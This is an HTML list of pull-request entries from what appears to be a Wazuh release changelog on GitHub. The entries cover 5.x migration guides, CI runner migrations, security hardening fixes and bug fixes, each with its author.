<li>Update manager 5x documentation  by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ignaciogalle12git/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ignaciogalle12git">@ignaciogalle12git</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4639437920" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/36833" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/36833/hovercard" href="https://github.com/wazuh/wazuh/pull/36833">#36833</a></li>
<li>Add bump-issue-link support to bumper workflow by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jotacarma90/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jotacarma90">@jotacarma90</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4664679055" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/36868" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/36868/hovercard" href="https://github.com/wazuh/wazuh/pull/36868">#36868</a></li>
<li>Add guide for migrating manager coordinator from 4.x to 5.x by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jepalfer/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jepalfer">@jepalfer</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4639020634" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/36829" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/36829/hovercard" href="https://github.com/wazuh/wazuh/pull/36829">#36829</a></li>
<li>Add Wazuh Manager Configuration documentation from 4.x to 5.x by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Antoniogm03/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Antoniogm03">@Antoniogm03</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4611934920" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/36779" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/36779/hovercard" href="https://github.com/wazuh/wazuh/pull/36779">#36779</a></li>
<li>Add documentation to migrate filebeat to indexer connector by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Antoniogm03/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Antoniogm03">@Antoniogm03</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4664131019" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/36866" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/36866/hovercard" href="https://github.com/wazuh/wazuh/pull/36866">#36866</a></li>
<li>wazuh-manager: Benchmark and footprint by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/juliancnn/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/juliancnn">@juliancnn</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4456748469" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/36145" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/36145/hovercard" href="https://github.com/wazuh/wazuh/pull/36145">#36145</a></li>
<li>Update manager upgrade block message by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jotacarma90/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jotacarma90">@jotacarma90</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4681713013" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/36987" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/36987/hovercard" href="https://github.com/wazuh/wazuh/pull/36987">#36987</a></li>
<li>5.x PR workflows improvements by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ignaciogalle12git/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ignaciogalle12git">@ignaciogalle12git</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4596503652" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/36766" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/36766/hovercard" href="https://github.com/wazuh/wazuh/pull/36766">#36766</a></li>
<li>Add Manager 5.0 release notes and breaking changes by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ignaciogalle12git/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ignaciogalle12git">@ignaciogalle12git</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4648591326" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/36850" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/36850/hovercard" href="https://github.com/wazuh/wazuh/pull/36850">#36850</a></li>
<li>ci(gha): migrate server/manager workflows to AWS CodeBuild runners [main] by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jotacarma90/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jotacarma90">@jotacarma90</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4692375185" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/37012" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/37012/hovercard" href="https://github.com/wazuh/wazuh/pull/37012">#37012</a></li>
<li>chore: update vulnerable Python framework dependencies by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jotacarma90/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jotacarma90">@jotacarma90</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4699088509" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/37024" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/37024/hovercard" href="https://github.com/wazuh/wazuh/pull/37024">#37024</a></li>
<li>Add Manager 5.0 wazuh-manager.conf configuration reference by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jotacarma90/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jotacarma90">@jotacarma90</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4691339394" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/36999" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/36999/hovercard" href="https://github.com/wazuh/wazuh/pull/36999">#36999</a></li>
<li>Add virustotal migration guide by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jepalfer/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jepalfer">@jepalfer</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4692765810" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/37013" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/37013/hovercard" href="https://github.com/wazuh/wazuh/pull/37013">#37013</a></li>
<li>Add VD migration documentation by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ignaciogalle12git/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ignaciogalle12git">@ignaciogalle12git</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4692092118" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/37008" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/37008/hovercard" href="https://github.com/wazuh/wazuh/pull/37008">#37008</a></li>
<li>Add documentation for wpk upgrade by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Antoniogm03/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Antoniogm03">@Antoniogm03</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4693271310" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/37015" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/37015/hovercard" href="https://github.com/wazuh/wazuh/pull/37015">#37015</a></li>
<li>Migrate agent build workflows to AWS CodeBuild runners by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Nicogp/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Nicogp">@Nicogp</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4701880741" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/37028" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/37028/hovercard" href="https://github.com/wazuh/wazuh/pull/37028">#37028</a></li>
<li>XML Decoders migration to YAML by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jepalfer/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jepalfer">@jepalfer</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4673566639" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/36959" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/36959/hovercard" href="https://github.com/wazuh/wazuh/pull/36959">#36959</a></li>
<li>CDB to KVDB migration guide by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jepalfer/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jepalfer">@jepalfer</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4690514873" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/36996" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/36996/hovercard" href="https://github.com/wazuh/wazuh/pull/36996">#36996</a></li>
<li>Documentation of Agentless migration to 5.x by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Antoniogm03/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Antoniogm03">@Antoniogm03</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4699204980" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/37025" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/37025/hovercard" href="https://github.com/wazuh/wazuh/pull/37025">#37025</a></li>
<li>Fix manager reload/restart silently fails by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ignaciogalle12git/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ignaciogalle12git">@ignaciogalle12git</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4673792785" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/36962" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/36962/hovercard" href="https://github.com/wazuh/wazuh/pull/36962">#36962</a></li>
<li>Randomize key generation for installation by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jepalfer/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jepalfer">@jepalfer</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4651010813" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/36861" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/36861/hovercard" href="https://github.com/wazuh/wazuh/pull/36861">#36861</a></li>
<li>Retry vulnerability feed validation failures promptly by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jotacarma90/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jotacarma90">@jotacarma90</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4665777430" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/36874" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/36874/hovercard" href="https://github.com/wazuh/wazuh/pull/36874">#36874</a></li>
<li>Bump 5.0.0 branch by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/wazuhci/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/wazuhci">@wazuhci</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4716517657" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/37040" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/37040/hovercard" href="https://github.com/wazuh/wazuh/pull/37040">#37040</a></li>
<li>Fix agent permanently stuck when TCP connection is silently half-closed by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/nbertoldo/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/nbertoldo">@nbertoldo</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4616576722" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/36790" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/36790/hovercard" href="https://github.com/wazuh/wazuh/pull/36790">#36790</a></li>
<li>ci(gha): migrate server/manager workflows to AWS CodeBuild runners [4.14.6] by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jotacarma90/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jotacarma90">@jotacarma90</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4692373330" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/37010" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/37010/hovercard" href="https://github.com/wazuh/wazuh/pull/37010">#37010</a></li>
<li>ci(gha): migrate server/manager workflows to AWS CodeBuild runners [4.14.7] by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jotacarma90/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jotacarma90">@jotacarma90</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4692374310" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/37011" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/37011/hovercard" href="https://github.com/wazuh/wazuh/pull/37011">#37011</a></li>
<li>fix: correct blob URL refs for release branch by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jotacarma90/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jotacarma90">@jotacarma90</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4718016446" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/37046" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/37046/hovercard" href="https://github.com/wazuh/wazuh/pull/37046">#37046</a></li>
<li>Use restricted wazuh-server user for Manager Indexer authentication by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jotacarma90/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jotacarma90">@jotacarma90</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4724661439" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/37061" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/37061/hovercard" href="https://github.com/wazuh/wazuh/pull/37061">#37061</a></li>
<li>fix(packages): use wazuh-manager-control in manager init.d scripts by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jotacarma90/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jotacarma90">@jotacarma90</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4724166255" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/37059" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/37059/hovercard" href="https://github.com/wazuh/wazuh/pull/37059">#37059</a></li>
<li>fix: Update the unclassified event doc by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/juliancnn/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/juliancnn">@juliancnn</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4726479817" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/37126" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/37126/hovercard" href="https://github.com/wazuh/wazuh/pull/37126">#37126</a></li>
<li>Skip vanished /proc entries during ports scan by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Nicogp/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Nicogp">@Nicogp</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4650163579" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/36859" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/36859/hovercard" href="https://github.com/wazuh/wazuh/pull/36859">#36859</a></li>
<li>Fix RBAC permission check to verify allow effect in update_config rules by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vikman90/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vikman90">@vikman90</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4724800552" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/37076" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/37076/hovercard" href="https://github.com/wazuh/wazuh/pull/37076">#37076</a></li>
<li>Add destination confinement to worker non-merged and extra file sync paths by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jotacarma90/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jotacarma90">@jotacarma90</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4691222179" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/36998" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/36998/hovercard" href="https://github.com/wazuh/wazuh/pull/36998">#36998</a></li>
<li>Patch cluster authentication by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ignaciogalle12git/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ignaciogalle12git">@ignaciogalle12git</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4716191480" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/37039" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/37039/hovercard" href="https://github.com/wazuh/wazuh/pull/37039">#37039</a></li>
<li>Lower stale-session indexer log to debug by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jotacarma90/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jotacarma90">@jotacarma90</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4733981786" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/37150" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/37150/hovercard" href="https://github.com/wazuh/wazuh/pull/37150">#37150</a></li>
<li>Limit recursion depth in XML parser by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vikman90/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vikman90">@vikman90</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4733223430" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/37147" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/37147/hovercard" href="https://github.com/wazuh/wazuh/pull/37147">#37147</a></li>
<li>Add status endpoint by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/NahuFigueroa97/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/NahuFigueroa97">@NahuFigueroa97</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4696177149" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/37022" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/37022/hovercard" href="https://github.com/wazuh/wazuh/pull/37022">#37022</a></li>
<li>Add log collectors reference docs by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/AnDumu/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/AnDumu">@AnDumu</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4721989446" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/37057" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/37057/hovercard" href="https://github.com/wazuh/wazuh/pull/37057">#37057</a></li>
<li>Run the Windows MSI package test on the AWS CodeBuild runner by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/nbertoldo/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/nbertoldo">@nbertoldo</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4738105790" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/37165" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/37165/hovercard" href="https://github.com/wazuh/wazuh/pull/37165">#37165</a></li>
<li>Remove merged.mg hash cache to fix stale syscollector flush by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/hernanvalenzuela/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/hernanvalenzuela">@hernanvalenzuela</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4720281364" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/37048" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/37048/hovercard" href="https://github.com/wazuh/wazuh/pull/37048">#37048</a></li>
<li>Enrich MITRE fields with id and names by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/fcontrerasc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/fcontrerasc">@fcontrerasc</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4721520471" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/37054" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/37054/hovercard" href="https://github.com/wazuh/wazuh/pull/37054">#37054</a></li>
<li>Reduce indexer connection warning noise by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jam300/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jam300">@jam300</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4696113780" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/37021" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/37021/hovercard" href="https://github.com/wazuh/wazuh/pull/37021">#37021</a></li>
<li>Remove deprecated wazuh-dbd daemon by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vikman90/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vikman90">@vikman90</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4715728814" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/37035" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/37035/hovercard" href="https://github.com/wazuh/wazuh/pull/37035">#37035</a></li>
<li>Bound decompressed size when processing sync archives by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jotacarma90/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jotacarma90">@jotacarma90</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4725313255" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/37119" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/37119/hovercard" href="https://github.com/wazuh/wazuh/pull/37119">#37119</a></li>
<li>Bump 4.14.6 branch by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/wazuhci/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/wazuhci">@wazuhci</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4742531433" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/37176" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/37176/hovercard" href="https://github.com/wazuh/wazuh/pull/37176">#37176</a></li>
<li>Add libcrypt fix (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4614551071" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/36782" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/36782/hovercard" href="https://github.com/wazuh/wazuh/pull/36782">#36782</a>) to 4.14.6 changelog by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jotacarma90/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jotacarma90">@jotacarma90</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4743056771" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/37178" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/37178/hovercard" href="https://github.com/wazuh/wazuh/pull/37178">#37178</a></li>
<li>Delay IndexerDownloader connection warnings until 3 failed attempts by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jotacarma90/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jotacarma90">@jotacarma90</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4742582733" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/37177" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/37177/hovercard" href="https://github.com/wazuh/wazuh/pull/37177">#37177</a></li>
<li>Add parameterized target selection to Coverity scan workflow by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/lchico/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/lchico">@lchico</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4740074465" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/37171" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/37171/hovercard" href="https://github.com/wazuh/wazuh/pull/37171">#37171</a></li>
<li>Align remoted tier 2 CodeBuild setup by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jotacarma90/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jotacarma90">@jotacarma90</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4735418555" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/37155" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/37155/hovercard" href="https://github.com/wazuh/wazuh/pull/37155">#37155</a></li>
<li>Add rules migration guide by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Jorgesnchz/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Jorgesnchz">@Jorgesnchz</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4495888102" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/36305" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/36305/hovercard" href="https://github.com/wazuh/wazuh/pull/36305">#36305</a></li>
<li>Migrate agent Linux/Windows test workflows to AWS CodeBuild runners by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Nicogp/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Nicogp">@Nicogp</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4720554249" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/37051" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/37051/hovercard" href="https://github.com/wazuh/wazuh/pull/37051">#37051</a></li>
<li>Silence spurious keepalive warnings on the Windows agent by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/nbertoldo/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/nbertoldo">@nbertoldo</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4745531717" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/37187" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/37187/hovercard" href="https://github.com/wazuh/wazuh/pull/37187">#37187</a></li>
